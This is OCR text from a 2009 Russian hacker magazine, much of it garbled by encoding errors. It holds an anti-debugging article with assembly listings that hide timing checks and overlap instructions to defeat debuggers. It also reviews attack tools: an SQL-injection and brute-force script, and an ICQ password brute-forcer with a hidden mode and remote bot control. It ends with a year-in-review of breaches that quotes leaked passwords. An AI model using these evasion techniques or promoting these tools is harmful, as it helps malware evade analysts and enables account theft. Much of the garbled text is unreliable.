ñíîâàâûçûâàåì "íàø" GetTickCount01008753 SUB EAX,EBX01008755 CMP EAX,1ВЫПОЛНЕНИЕ ИНСТРУКЦИИ POPSS ОТПРАВИТ ПРОГРАММУ В АД!01008758 JNB 02000000; ïåðåõîäèìê çàâåäîìî íåäîñòóïíîìó àäðåñó0100875E JMP 0100739D...; ïåðåíåñåííàÿ ôóíêöèÿ GetTickCount:0100876F MOV EDX,7FFE000001008774 MOV EAX,DWORD PTRDS:[EDX]ÊÎÄ ÏÎÄÑ×ÈÒÛÂÀÅÒ ÂÐÅÌß ÂÛÏÎËÍÅÍÈß ÎÄÍÎÉÈÍÑÒÐÓÊÖÈÈ È, ÅÑËÈ ÎÍÎ ÏÐÅÂÛØÀÅÒ ÇÀÄÀÍÍÎÅÇÍÀ×ÅÍÈÅ, ÏÐÎÖÅÑÑ ÇÀÂÅÐØÀÅÒÑß.01008776 MUL DWORD PTRDS:[EDX+4]01008779 SHRD EAX,EDX,180100877D RETNПосле того, как код написан и занесен в PEфайл,остается лишь поменять точку входафайла в LordPE, заменив ее на 01008748. Файл,обработанный таким образом, отказываетсяработать под отладчиком. Результат анализаjnb-а, располагающегося по адресу 01008758,выглядит так:01008758 0F DB 0F01008759 83 DB 830100875A A2 DB A20100875B 78 DB 78; CHAR'x'069


ВЗЛОМБЕЗЫМЯННЫЙ ВЫЗОВ И НАБОР ДАННЫХ ВМЕСТОJMP-А — ЕСТЬ НАД ЧЕМ ПОДУМАТЬ!ЭТО НЕ РАБОТА ADOBE PHOTOSHOP, А РЕАЛЬНАЯСИТУАЦИЯ: EIP РАВЕН 01008777, НО В ОКНЕ КОДАОТОБРАЖАЕТСЯ НЕЧТО ИНОЕУДИВИТЕЛЬНО, С КАКОЙ ПЕДАН-ТИЧНОСТЬЮ IMMUNITY КОПИРУЕТOLLYDBG — ДАЖЕ ИХ ДИЗАССЕМ-БЛЕРЫ СПОТЫКАЮТСЯ ОБ ОДНИ ИТЕ ЖЕ КАМНИ0100875C . FF00INC DWORD PTR DS:[EAX]Это — следствие того, что операнд условного переходауказывает на недоступный адрес памяти.Дизассемблер отладчика OllyDbg полагает, чтотакого не может случиться даже теоретически, ипревращает инструкцию в набор данных.В ПРЯТКИ С ДИЗАССЕМБЛЕ-РОМ, ИЛИ УПАКОВЫВАЕМMOV В XORПоговорим о еще одном способе усложнитьжизнь реверсера. Выше было сказано, что усложнитьработу реверсера можно путем переносаузнаваемых API-функций (вроде GetTickCount)в тело защищаемой программы. Попробуемсоздать «странный» код, который, на первыйвзгляд, кажется бессмысленным, но выполняетвполне осязаемые антиотладочные действия.Ситуацию рассмотрим ту же, что и в предыдущемслучае — перенесение API-функцииGetTickCount по адресу 0100876F. Представь,что реверсер достаточно опытен и знает всетиповые API-функции вроде GetTickCount,которые используются в простейших антиотладочныхприемах, «в лицо». Можно ли модифицироватьперенесенный код так, чтобы онничем себя не выдавал? Как вариант, —разбавить его инструкциями вроде «movax, ax». Будет ли это для реверс-инженератрудной задачей? Вряд ли. Более предпочтительназамена прямых адресов, используемыхв коде, на подсчитываемые значения,однако есть другое элегантное решение,которое заставит вскипеть мозги реверсера.Как ты, вероятно, заметил, инструкция, располагающаясяпо адресу 01008774, выглядитследующим образом:01008774 8B02MOV EAX,DWORD PTR DS:[EDX]Опкод инструкции — 0x8b02. Что произойдет,если спрятать одну инструкцию внутри другой?Наглядный пример: опкод 0x358B029090 имеетинструкция XOR EAX,9090028B. Таким образом,если расположить эту инструкцию по некоторомуадресу ADDRESS, после чего передать припомощи безусловного перехода управление наадрес (ADDRESS+1), то выполнится совсем неXOR, а набор инструкций:ADDRESS : DB 35ADDRESS+1 : MOV EAX, DWORD PTR DS:[EDX]ADDRESS+3 : NOPADDRESS+4 : NOPПоскольку первый байт отброшен, инструкцияне воспринимается процессором как XOR,а последние 2 байта последовательности(0х9090) будут интерпретироваться как NOP-ы!Вот как реализовать это на практике для изменениякода перенесенной нами API-функцииGetTickCount:0100876F BA 0000FE7FMOV EDX,7FFE0000;ïðè ïîìîùè ñëåäóþùåãî Jmp-à ìû"ïðîñêàêèâàåì" ìèìî ôåéêîâîãî XOR-à.01008774 EB 07JMP SHORT 0100877D; ñëåäóþùàÿ èíñòðóêöèÿ — XOR — íåáóäåò âûïîëíåíà íèêîãäà!01008776 35 8B029090XOR EAX,9090028B0100877B EB 04JMP SHORT 01008781; ïåðåõîäèìê äàëüíåéøèì äåéñòâèÿì; èíñòðóêöèÿ, ðàñïîëîæåííàÿ íèæå,âåäåò âîâñå íå ê XOR-ó,à íà áàéò"íèæå" — ê èíñòðóêöèè MOV!0100877D EB F8JMP SHORT 01008777; ñëåäóþùåé èíñòðóêöèåé ìû çàñòàâëÿåìîòëàä÷èê äóìàòü, ÷òî XOR âñå-òàêèèñïîëüçóåòñÿ0100877F 74 F5JE SHORT 0100877601008781 F762 04MUL DWORD PTR DS:[EDX+4]01008784 0FACD0 18SHRD EAX,EDX,1801008788 C3RETNКод нуждается в дополнительных комментариях.Поскольку встроенные дизассемблерыотладчиков прикладного уровня наподобиеOllyDbg анализируют теоретическую возможностьвыполнения определенных инструкций,они могут интерпретировать набор байтов,расположенных по некоторому адресу, либокак данные, либо как код. Если бы приведенныйкод не содержал инструкцию JE SHORT01008776, дизассемблер принял бы решение,что инструкции XOR EAX,9090028B просто несуществует, и выдал бы реверсеру всю подноготнуюнашего кода. К счастью, мы точно знаем,что в контексте данного куска кода инструкцияJE SHORT 01008776 не передаст управление поадресу 01008776. Результат подобного «шаманизма»— достаточно запутанный антиотладочныйкод, который, тем не менее, работает! z070XÀÊÅÐ 12 /132/ 09


ВЗЛОММАГ ICQ 884888, HTTP://WAP-CHAT.RUX-TOOLSПРОГРАММЫ ДЛЯ ХАКЕРОВПРОГРАММА: TOOLZA 1.0ОС: *NIX/WINАВТОР: PASHKELAНечасто в наших обзорах можно видеть настоящиехакерские комбайны. Перловый скриптToolza 1.0 от участника Античата Пашкелы какраз относится к таким программам. Прога вобралав себя все основные функции, без которыхсовременный хакер просто не может обойтись:работа со скуль-инъекциями, сканер файлов ипапок сайта, работа с lfi/чтением файлов черезфункции php/чтением файлов через load_file, ftpчекер/брутер, proxy чекер/граббер.Все эти вкусности обладают следующимисвойствами:• Выбор POST или GET;• Поддержка прокси;• Выбор таймаута соединения;• Возможность вставить cookies;• Возможность изменить юзерагента;• Возможность изменить реферер;• Возможность выбора HTTP-протокола.Теперь более подробно о функционале проги.1. Режим работы с MySql=>5:• поддержка UNHEX(HEX(SQL));• поддержка AES_DECRYPT(AES_ENCRYPT(SQL,aes_key),aes_key);• выбор пробелов (+,/**/,%20 и т.д.);• выбор лимитов (no limit; limit+0,1; limit+1,1);• выбор комментариев;• выбор паузы между пачкой запросов;• возможность выбора дампа данных из выбраннойтаблицы;• возможность вставить свое условие при дампеданных из таблицы;• автопроверка на file_priv.2. Режим MySql4 bruter:• возможность добавлять префикс для таблиц ипрефикс для колонок;• словарь таблиц — 3434 наименования;• словарь колонок — 760 наименований.3. Режим Site scanner for folders & files:• словарь из 3455 позиций;• возможность редактирования ошибок при ответесайта на запрос при несуществующем URL;• возможность пополнения словаря.4. Режим LFI/READER/Load_file() bruter:• 6 режимов работы.[1] LFI/Reader — visual error whenwrong query[2] LFI/Reader — unvisual error whenwrong query[3] Mysql load_file — visual errorwhen wrong query, magic_quotes=OFF[4] Mysql load_file — unvisual errorwhen wrong query, magic_quotes=OFF072[5] Mysql load_file — visual errorwhen wrong query, magic_quotes=ON[6] Mysql load_file — unvisual errorwhen wrong query, magic_quotes=ON5. Режим Blind Mysql v.4-5 injection:• брут для Blind MySql4 таблиц и колонок с возможностьюдобавления своего префикса;• 4 режима брута.[1] Normal MODE áðóòà (äèàïàçîí0-255) — íåîãðàíè÷åííîå êîëè÷åñòâîçàïèñåé, óíèâåðñàëüíûé, âûâîä îøèáîêíåîáÿçàòåëåí[2] Fast MODE áðóòà — (äèàïàçîí0-255) — êîëè÷åñòâî çàïèñåé


гие пустые поля в «основной информации»;• Удаление (чистка): входящих/исходящихсообщений, стены, истории статусов;• Добавление пользователя в блек-лист;• Массовое вступление в группы;• Удаление всех групп;• Отклонение всех приглашений в группы;• «Профиль» «Информация» «+50 случайныхчеловек в друзья» — высылает заявки навступление в друзья случайным 50 людям.3. Отметки:• Отметить всех друзей на Фото;• Отметить всех друзей на Видео.4. Медиа:• Загрузка Картинки как Граффити;• Загрузка «Мультикартинки»;•Загрузка «Фейк-картинки»;•«Умное» скачивание Музыки (Клавиши Ctrl иShift позволяют осуществлять массовый выборпесен);• «Умное» скачивание Видео;• «Умное» скачивание Альбома;• Массовая загрузка: всех картинок из выбраннойпапки и всех песен из выбранной папки.5. Автоматизация:• Автоматическое Одобрение/Удаление отметокна Фото;• Автоматическое Одобрение/Удаление отметокна Видео;• Автоматическое Удаление приглашений наПриложения;• Автоматическое Принятие/Удаление запросовв друзья;• «Вечный» Онлайн;• Автообновляющийся статус. Доступные тэги:{аптайм} — время работы компьютера, {плеер} —выводит название запущенного плеера, {играет}— выводит название песни\фильма, которыевоспроизводятся (поддерживаемые плееры:Winamp, AIMP2, QMP (QCD), JetAudio, KMPlayer,Media Player Classic (MPC), GOMPlayer + все,которые написаны на основе винампа).6. Администрирование группы:• Бан пользователя;• «Группа» «+40 случайных пользователей»— высылает приглашения 40 случайным пользователям;Также в прогу встроена очень удобная поддержкагорячих клавиш.Работа с текстом:alt+1 — ïîêàçûâàåò ïåðåâîä âûäåëåííîãîòåêñòà ñ àíãëèéñêîãî ÿçûêàíà ðóññêèé + ñîõðàíÿåò ïîëó÷åííûéðåçóëüòàò â áóôåð îáìåíàalt+2 — ïîêàçûâàåò ïåðåâîä âûäåëåííîãîòåêñòà ñ ðóññêîãî ÿçûêà íààíãëèéñêèé + ñîõðàíÿåò ïîëó÷åííûéðåçóëüòàò â áóôåð îáìåíàalt+3 — êîíâåðòèðóåò âûäåëåííûéòåêñò â äðóãóþ ðàñêëàäêóalt+4 — êîíâåðòèðóåò âûäåëåííûéòåêñò â «ïîä÷åðêíóòûé» òåêñòalt+5 — êîíâåðòèðóåò âûäåëåííûéòåêñò â «çà÷åðêíóòûé»alt+6 — äåëàåò âûäåëåííûé òåêñò «âðàìêå»alt+0 — êîíâåðòèðóåò âûäåëåííûéXÀÊÅÐ 12 /132/ 09Работа VkBot'аòåêñò (êðîìå êèðèëèöû) â ASCII êîäèðîâêó,ò.å. "q" = "&#113;" è ò.ä.Другие горячие клавиши:ctrl+shift+ëåâàÿ_ìûøêà — ïîçâîëÿåò÷åðòèòü ëèíèè â Ãðàôôèòè (çàæèìàåìøèôò, ñòàâèì ïåðâóþ òî÷êó, ïåðåìåùàåìóêàçàòåëü â íóæíîå ìåñòî, ñòàâèìâòîðóþ òî÷êó — àâòîìàòè÷åñêè ïðîâîäèòñÿëèíèÿ ìåæäó òî÷êàìè)ctrl+alt+1 — ïîêàçûâàåò íàçâàíèåâîñïðîèçâîäèìîé ïåñíè/ôèëüìà ââñïëûâàþùåì ñîîáùåíèèctrl+alt+2 — «ïå÷àòàåò» íàçâàíèåâîñïðîèçâîäèìîé ïåñíè/ôèëüìà â âûáðàííîìîêíåТак как программа очень часто обновляется,советую следить за ее историей изменений наофициальном сайте http://vkbot.ru.P.S. В бетатестинге находится версия VkBot'адля никсов. Ждем-с.ПРОГРАММА: ALFABRUTE3123ОС: WINDIWS 95/98/ME/2000/2003/XP/VISTA/7АВТОР: JIYKAПредставляю твоему вниманию уникальный всвоем роде асечный брутфорсер — AlfaBrute.Его уникальность заключается в том, что присвоей нелегкой работе он совершенно не требуетпроксей! При этом сохраняются все возможностиостальных брутфорсеров, вроде высокойскорости работы и защиты от бана при перебореномеров.Возможности программы ни в чем не уступаютвозможностям своих старших собратьев:• брут разных диапазонов;• возможность собственноручного редактированиясписков серверов;• возможность выбора времени перехода междусерверами (Time out);• сохранение текущей сессии;• все номера записываются в файлы good.txt иbad.txt;• в любое время можно изменить введенные ранееданные (диапазон, пароль, время и списоксерверов);• автоматическое продолжение работы призагрузке программы;• отправка отчета на E-mail или номер ICQ;• брут по списку uin;pass;• минимизация программы при запуске;• переподключение бота при разрыве соединения;Асечный брутфорс• программу не видно в процессах (режим Hide)и в списке приложений;• пароль для защиты программы от постороннихглаз;• автосохранение через заданное время;• полное удаленное администрирование посредствомбота.Бот для удаленного администрирования брутапонимает следующие команды:!h — ñïèñîê êîìàíä!stat — ñòàòèñòèêà!data — äàííûå áðóòà!add____— äîáàâèòü çàïèñü!del — óäàëèòü çàïèñü!stop — îñòàíîâèòü áðóò!start — çàïóñòèòü áðóò!sett — íàñòðîéêè!report — íàñòðîéêà e-mail áîòà!repoff — âûêëþ÷èòü îòïðàâêó îò÷åòàïî e-mail!rep_ — âêëþ÷èòü ïåðåäà÷óîò÷åòà íà óêàçàííûé e-mail!runn — íàñòðîéêà çàïóñêà áðóòà!runwin — âêë/îòêë çàïóñê âìåñòå ñWindows!runstart — âêë/îòêë àâòîìàòè÷åñêîåïðîäîëæåíèå ðàáîòû!runmin — âêë/îòêë ìèíèìèçàöèþ ïðèñòàðòå!brute — íàñòðîéêà ïðîöåññà ðàáîòû!sbad — âêë/îòêë ñîõðàíåíèå bad.txt!sgood — âêë/îòêë ñîõðàíåíèå good.txt!clogs — âêë/îòêë çàïîëíåíèå ëîãîâ!delrow — âêë/îòêë óäàëåíèå ñòðîêè âôàéëå source.txt!saveoff — îòêë. àâòîñîõðàíåíèå!save_ — âêë. àâòîñîõðàíåíèå÷åðåç óêàçàííîå âðåìÿ!sae — íàñòðîéêà âûõîäà èç ïðîãðàììû!se_ — ðåæèì âûõîäà: 1 — ñçàïðîñîì; 2 — íå ñîõðàíÿòü; 3 — âñåãäàñîõðàíÿòü!more — äðóãèå íàñòðîéêè!top — âêë/îòêë ðåæèì «ïîâåðõ âñåõîêîí»!hideoff — îòêëþ÷èòü ñêðûòûé ðåæèì!hide_ — âêëþ÷èòü ñêðûòûé ðåæèìñ óêàçàííûì çàùèòíûì êîäîì!exit — âûéòèДля более полного ознакомления с функционаломпроги советую посетить официальный сайт ееавтора — http://jiykasoft.3dn.ru/load/1-1-0-15. z073


СЦЕНАМАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU<strong>2009</strong> Ñàìûå ãðîìêèå äåëàóõîäÿùåãî ãîäàÇÀ ÃÎÄ ÓÑÏÅÂÀÅÒ ÏÐÎÈÇÎÉÒÈ ÌÍÎÃÎÅ: ÈÇÎÁÐÅÒÀÞÒ È ÂÛÏÓÑÊÀÞÒÍÎÂÛÅ ÃÀÄÆÅÒÛ, ÎÒÊÐÛÂÀÞÒ ÍÎÂÛÅ ÒÅÕÍÎËÎÃÈÈ, ÄÅËÀßÁÓÄÓÙÅÅ ×ÓÒÎ×ÊÓ ÁËÈÆÅ, ÏÐÈÍÈÌÀÞÒ ÍÎÂÛÅ ÇÀÊÎÍÛ ÈËÈ,ÍÀÎÁÎÐÎÒ, ÏÐÎÒÅÑÒÓÞÒ ÏÐÎÒÈ ÈÕ ÏÐÈÍßÒÈß. ÌÈÐÎÂÀß ÑÖÅÍÀ,ÊÎÍÅ×ÍÎ, ÒÎÆÅ ÍÅ ÑÒÎÈÒ ÍÀ ÌÅÑÒÅ — ÊÒÎ-ÒÎ ÊÎÃÎ-ÒÎ ËÎÌÀÅÒ,ÊÎÃÎ-ÒÎ ÀÐÅÑÒÎÂÛÂÀÞÒ È ÑÓÄßÒ, À ÊÒÎ-ÒÎ, ÒÅÌ ÂÐÅÌÅÍÅÌ,ÏÅÐÅÊÂÀËÈÔÈÖÈÐÓÅÒÑß Â WHITE HAT'À È ÏÎËÓ×ÀÅÒ ÏÎÑÒ Â ÊÐÓÏÍÎÉÊÎÌÏÀÍÈÈ. ÂÎÒ Î ÏÎÑËÅÄÍÅÌ-ÒÎ ÌÛ ÑÅÃÎÄÍß È ÏÎÃÎÂÎÐÈÌ. ÍÅÒ,ÍÅ Î ÄÎËÆÍÎÑÒßÕ È ÊÎÌÏÀÍÈßÕ, À ÕÀÊÀÕ, ÑÓÄÀÕ È ÑÊÀÍÄÀËÀÕ — ÎÑÀÌÛÕ ÇÀÌÅÒÍÛÕ ÏÐÎÈÑØÅÑÒÂÈßÕ ÓÕÎÄßÙÅÃÎ ÃÎÄÀ.ÂÇËÎÌÛХотя интернет с годами растет, развивается идаже взрослеет, хакеров в Сети не становитсяменьше. На смену легендам приходят новыегерои, и это далеко не только скрипткиддисы и«школота», использующая чужие утилиты в своихкрамольных целях.Так что, взломов не становится меньше, напротив —пропорционально росту интернета растет количествои изощренность компьютерных хулиганов.Наших бравых бойцов клавиатуры и кода не останавливаети то, что с годами власти стран мирастановятся все умнее и постигают трудную наукуборьбы с киберпреступниками все лучше.Итак, два гуру компьютерного мира, чьи именаизвестны каждому — Кевин Митник и Ден Камински.Первый — легендарный хакер, который теперьпредпочитает политкорректно именоваться«секьюрити специалистом». Он отсидел за своипреступления в тюрьме, написал ряд книг, о немсняли фильм и с легкой руки СМИ Митника теперьназывают чуть ли не отцом-основателем хакерства(что, конечно, не совсем верно). Второй —тоже специалист в области ИБ, известный, например,тем, что нашел немало дырок в DNS. Чтоих объединяет? Многое, но теперь еще и то, чтооба стали жертвами хакеров :).Пока в июле-августе <strong>2009</strong> Митник и Каминскиотвисали на конференциях Black Hat и DefCon,ребята из команды Zero for 0wned aka ZF0решили подмочить репутацию «белым шапкам»и нанесли удар. Митник и Камински, конечно,были выбраны в качестве мишеней неслучайно,причиной послужил именно статус всемирноизвестных экспертов.Больше досталось Дену Камински, который нетолько держал в сети частный ресурс, но и хранилна удаленной машине кучу личных файлов. Крометого, Камински совершенно не волновался о своихпаролях, вот некоторые из них: fuck.hackers,0hn0z, fuck.omg, fuck.vps. Более сообразительныйМитник не держал важной инфы в открытомдоступе и отделался лишь взломом личногоблога, который был поднят на WordPress.Но чуваки из Zero for 0wned не ограничилисьпростым хаком экспертов и выложили всеукраденные данные в Сеть, опубликовав их всвоем езине. «Утекли» все пароли, личная переписка,логи чатов и многое другое. Никакойособенно интересной с технической стороныинформации там не было, что должно бытьобидно вдвойне.Своей простой цели хакеры так же достигли —показали всем миру, что уязвимы все, включаяпризнанных профи, а самих профи в очереднойраз выставили в неприглядном свете.ДЕФЕЙСНУТАЯ ГЛАВНАЯ QIP.RU074XÀÊÅÐ 12 /132/ 09


АНОНИМУСЫ КООРДИНИРУЮТ ДЕЙСТВИЯ В IRC. 470СЕКУНД ДО АТАКИ НА САЙТЫ IFPIСЛЕВА — МАКС ЯСТРЕМСКИЙ, СПРАВА — АЛЬБЕРТ ГОНСАЛЕСXÀÊÅÐ 12 /132/ 09ÀÄÌÈÍÛ ÏÅÍÒÀÃÎÍÀВесной <strong>2009</strong> в США произошел забавный инцидент.До сих пор не до конца понятно, как такоевозможно и не являются ли громкие заявлениеамериканских военных «уткой». Впрочем, давайпо порядку.В апреле сразу несколько источников в американскомправительстве поведали прессе, чтонеизвестные хакеры взломали сеть Пентагона иукрали у них из-под носа несколько терабайт (!)данных по проекту Joint Strike Fighter. В упомянутыйпроект по созданию истребителя-бомбардировщикапятого поколения F-35 Lightning II,между прочим, было вложено 300 млрд. долларов,сумма очень солидная даже для не испытывающихнедостатка в финансировании американскихвоенных. От официальных комментариевПентагон и компания вначале отказались, новоенно-воздушные силы начали проводитьрасследование, тем самым подтверждая — хакбыл. Чуть позже представители военных все жебыли вынуждены поговорить с прессой. Они заявили,что никакие данные украдены не были, и вочередной раз заверили весь мир, что взломатьих сервера никому не под силу. Что ж, где здесьистина, мы вряд ли узнаем, зато можем сказать,что «неизвестных взломщиков», по некоторымданным, все же удалось отследить — IP-адресабыли китайские. Интересно и другое, — если несколькоукраденных терабайт информации тожеправда, чем тогда занимаются на рабочих местахадмины Пентагона? :)Раз уж мы заговорили о взломах американскихвоенных, то нельзя не упомянуть о взломе сайтаarmy.mil, которому мы посвятили целую статью вмартовском номере z.Как показывает практика, «мега-защищенные»сайты армии США совсем не так страшны наделе, как их малюют. Это лишний раз взялся доказатьнаш друг и коллега Skvoz и, как ни странно,доказал.Army.mil — ни много, ни мало официальный сайтармии США, который, казалось бы, должен бытьприкрыт со всех возможных сторон, ведь желающихломануть такие ресурсы всегда хватает. Наделе все оказалось куда прозаичнее: Skvoz’у безособого труда удалось проникнуть и в OTF-секциюсайта, и в админку ARMYNEWS — модульуправления армейскими новостями, где он оставилна память админам пару записей :). Вся атака,по сути, сводилась к SQL-инъекции и разведкеадминистративных директорий, что для такогокрутого ресурса как-то совсем уж несерьезно. Всеподробности и детали этого взлома ты можешьпрочитать в 03 номере z за этот год.ÆÈÂÓ×ÈÉ×ÅÐÂÜНастоящей головной болью <strong>2009</strong> года стал вирусизвестный как Conficker aka Downloadup akaKido. Эпидемии, конечно, случаются каждый год,но единицам удается достичь такой массовости.Появившись в конце 2008, червяк зашагал попланете семимильными шагами, уже к началу<strong>2009</strong> года заразив 12 миллионов компьютеров.Уязвимыми для червя являются все ОС семействаMicrosoft Windows, от 2000-й до Windows 7 иWindows Server 2008 R2. На машину Confickerпопадает, используя дырку в Server service, атакже распространяется через USB-накопители,создавая файл autorun.inf и файл RECYCLED\{SID}\RANDOM_NAME.vmx. В системе червякпроживает в виде .dll-файла с именем изрендомного набора символов (например: c:\windows\system32\sjhvgs.dll). Попав в систему,хитрый малварь отключает службу автоматическогообновления Windows, Security Center,Defender, Windows Error Reporting и блокируетдоступ к сайтам производителей всех известныхантивирусов.Бороться с заразой пришлось всем миром, дляэтого усилия объединили такие монстры какMicrosoft, Dr.Web, ESET, Kaspersky Lab, PandaSecurity, F-Secure, AOL, CANN, NeuStar, VeriSign,CNNIC и так далее. Это неудивительно, — по даннымтой же компании ESET, на октябрь <strong>2009</strong> годапроцент заражения Conficker все еще составлял8.85%, то есть червь до сих пор является лидеромвсех вирусных рейтингов. Кому принадлежит авторствои кто именно ответственен за написаниеживучего червя (Conficker имеет уже 5 версий —A, B, C, D и E, соответственно) — неизвестно. Ещев начале <strong>2009</strong> года компания Microsoft назначиланаграду в размере $250.000 за любую информациюоб авторах вируса, но, судя по всему, дажестоль солидное вознаграждение на этот раз здесьне поможет.ÑÓÅÒÀ ÂÎÊÐÓà QIPМенее глобальные в общемировом масштабе(зато очень неприятные для всех российскихюзеров) вещи весь <strong>2009</strong> год происходили вокругмессенджера QIP.Для начала в настройках новых версий QIPInfinum появились две галочки, включенные поумолчанию: «хранить настройки моих учетныхзаписей на сервере» и «хранить паролимоих учетных записей на сервере». К тому же,выяснилось, что мессенджер сохраняет историюjabber-переписки на сервер, вообще об этом неспрашивая. Затем произошел взлом официальногосайта мессенджера — qip.ru и блога главногоразработчика. Кто был ответственен за хак,неизвестно, и до сих пор не ясно, ограничилосьтогда все банальным дефейсом и взломом форумов,или хакеры все же смогли добраться и доболее ценной информации. Почти целый вечери ночь все желающие могли беспрепятственнонаблюдать за увлекательным матерным чатомхакеров друг с другом и с админами сайта прямона его главной странице. Самое интересное, чтоникаких официальных комментариев так и непоследовало, только попавший под раздачу эксразработчикQIP’а Inf уверял, что базы и паролиникуда не утекли и извинялся за всех.Но базы, пусть не с паролями, а с e-mail адресамиqip-юзеров в Сеть все-таки просочились,правда, не по вине хакеров. Сами разработчикиQIP допустили халатность, когда поднималиновый сервис games.qip.ru. Они умудрилисьне заметить, что, зайдя на форум games.qip.ruи нажав на кнопочку «пользователи», можнолегко и легально увидеть все ники и e-mail’ыюзеров. Всего в Сети оказалось 160.694адреса, и, хотя эту дырку довольно оперативнозакрыли, предприимчивая сетевая публика,разумеется, успела сохранить все, до чегосумела дотянуться. И вновь никаких официальныхизвинений или комментариев непоследовало, на этот раз в частном порядке завсех извинялся один из ведущих разработчиковQIP — Sega-Zerо.075


СЦЕНАÍÓÒÐÎ MI5О взломах американских военныхмы уже рассказали выше, а теперь,чтобы другим не было обидно,расскажем и о них. Например, государственноеведомство британскойконтрразведки MI5 так же подверглосьуспешной атаке в этом году.Хак-группа Team Elite, известнаясвоими атаками на Всемирнуюорганизацию здравоохраненияи платежную систему Visa, в июле<strong>2009</strong> добралась и до сайта MI5.Воспользовавшись уязвимостью впоисковом движке, который удалосьвскрыть при помощи iFrame-иньекцийи XSS-атак, хакеры добралисьдо нутра mi5.gov.uk. Вся соль в том,что Team Elite вполне могли сделатьпри этом скриншоты контента ивпоследствии использовать их вклассических фишинговых целях.Между тем, неизвестно и сумели лиTeam Elite добраться до каких-либосекретных данных MI5, или же всеограничилось только образцово-показательнымвскрытием поисковогодвижка. Официально утечку секретныхданных, конечно, все отрицают,но мы-то знаем, что официальныекомментарии нередко лишь хорошаямина при плохой игре.ÌÅÑÒÜ ÇÀ ÊÎÏÈÐÀÉÒСразу ряд взломов и атак в этом годубыл связаны с неутихающей войноймежду антипиратами и сторонникамисвободы информации. Громкийсуд по делу The Pirate Bay сильновзбаламутил воду не только в самой«Пиратской Бухте», но и в Сетив целом, так что, отстаивая своемнение, противники копирайтов негнушались и хакерских методов.Доподлинно известно, что послевынесения админам TPB обвинительногоприговора была проведенасвоего рода карательная операция,носившая имя «Baylout». Несколькотысяч анонимусов-активистов завалилиDDoS’ом сайты IFPI (Международнойфедерации грамзаписи)ifpi.org, ifpi.com и ifpi.se, а такжесайт юристов, выступавших в судена стороне обвинения — maqs.com.Помимо этого анонимусы призываливсех неравнодушных слать в MPAA(Ассоциацию кинокомпаний Америки)и MAQS черные факсы. Конечно,называть кучку школьников с имейджборд«хакерами», это несколькочересчур, особенно учитывая, чтобольшинство вовлеченных в операциюсделали это, что называется «forlulz». Однако атака удалась, сайтылежали, и на это обратили вниманиеСМИ. Свое неудовольствие «сетеваяобщественность» выразила и былауслышана.Одними лишь анонимусами дело,впрочем, не ограничилось, были идругие атаки. Например, чуваки, подписавшиесяDen Nya Generationen,хакнули шведский филиал IFPI (ifpi.se), заменив главную страницу сайтапосланием, в котором копирастовобвиняли во лжи, а общественностьпризывали к бойкоту и линчеваниювиновников недавнего «судебноготоржества». Возможно, атак былобы и гораздо больше, если бы одиниз админов TPB, Питер Сунде, необратился к народу с просьбойостановиться, заметив, что от такихдействий всем, начиная от командытрекера, будет только хуже.Кстати, в связи с The Pirate Bay стоитупомянуть и еще один инцидент, которыйвообще можно назвать самымнастоящим life hack. Один из админовTPB — Готфрид Свартхольм —известен миру как парень неробкогодесятка: именно он отвечал нагневные письма правообладателей,не скрывая сарказма и ехидства, апотом выкладывал все это по адресуthepiratebay.org/legal. Очереднаяинициатива Свартхольма оказаласьне менее хулиганской — онпредложил устроить своеобразнуюDDoS-атаку на адвокатскую фирмуDanowsky & Partners, которая защищалаинтересы медиа-магнатов входе процесса.Готфрид призвал народ, в знак«огромной признательности» этимлюдям, перевести на их банковскийсчет 1 шведскую крону. Вся соль втом, что после тысячи платежей банкначал взимать с фирмы комиссиюза каждый последующий платеж,в размере 2 крон. Более того,обработка таких «поступлений» вÎÁÍÀËÈ×È ÄÎÌÀ ×ÀÑÒÜ ÑÓÌÌÛ, ÏÀÐÅÍÜÎÒÏÐÀÂÈËÑß Â ÐÎÑÑÈÞ, ÑÎÁÈÐÀßÑÜ ÎÔÎÐÌÈÒÜÇÄÅÑÜ ÍÓÆÍÛÅ ÄÎÊÓÌÅÍÒÛ, À ÇÀÒÅÌ ÁÅÆÀÒÜ ÂÅÂÐÎÏÓ ÍÀ ÏÌÆ.адвокатской конторе осуществляетсявручную и сопряжена с мараниемкучи бумаг, а штат фирмы совсемнебольшой. Но Свартхольму и этогопоказалось недостаточно. Особоретивым борцам за справедливостьон предложил отозвать свой переводобратно! Свою месть Готфридокрестил просто — «распределеннойатакой на отказ в долларах» или,сокращенно, DDo$-атакой.ÕÀÊÈ TWITTER’ÀКонечно, не остаются без вниманияхакеров и социальные сети — наэтом поле работают и фишеры,и наемники, и обычные сетевыехулиганы.Больше всего в уходящем годудоставалось, пожалуй, молодомуи жутко популярному сервису длямикроблоггинга Twitter. В начале<strong>2009</strong> года хакеры взломали аккаунтысразу ряда знаменитостей, средикоторых был президент США БаракОбама, Бритни Спирс, блоги телеканалаFox News и сервиса Facebook.Всего тогда пострадало 33 акка, и,ДЕН КАМИНСКИпо информации компании Sophos,ответственность за это лежала наподростке с ником GMZ, которыйсумел получить доступ к админкеTwitter. В админку взломщикпроник, подобрав пароль одного изсотрудников, благо, пассворд былнесложный — «счастье» (happiness).Однако, по информации все тех жеSophos, гадостей от имени звезд хакерне писал, он просто слил в Cетьпароли от угнанных аккаунтов :).Более серьезный и не менеегромкий хак Twitter приключилсялетом <strong>2009</strong>. На этот раз взломалипочту жены исполнительногодиректора Twitter Эвана Уильямса,а также ящик одного из админов.Утечка вышла куда глобальнее, вСеть попали конфиденциальные ифинансовые документы компании,среди которых были банковскиереквизиты сотрудников, штатноерасписание с указанием зарплатперсонала, резюме от претендентови так далее. «Благодарить» за этов Twitter, судя по всему, должныфранцуза, скрывающегося подником Hacker Croll — у себя в блогеон описал подробности взлома ивыложил скрины админки.ÀÐÅÑÒÛ È ÃÐÎÌÊÈÅ ÄÅËÀУдачные и громкие взломы, этоконечно, интересно, но не всемудается выйти сухими из воды —киберпреступников не так уж редколовят, судят и приговаривают. Всвете этого, рассказать о хаках, ноумолчать о наиболее ярких и значимыхарестах и судах прошедшегогода было бы не совсем правильно.Без тени преувеличения можносказать, что <strong>2009</strong> год прошел подзнаком гонений на торрент-трекеры,а наиболее громким делом года сталсуд над командой The Pirate Bay.Самому процессу над ГоттфридомСвартхольмом (Gottfrid Svartholmaka «anakata»), Фредериком076XÀÊÅÐ 12 /132/ 09


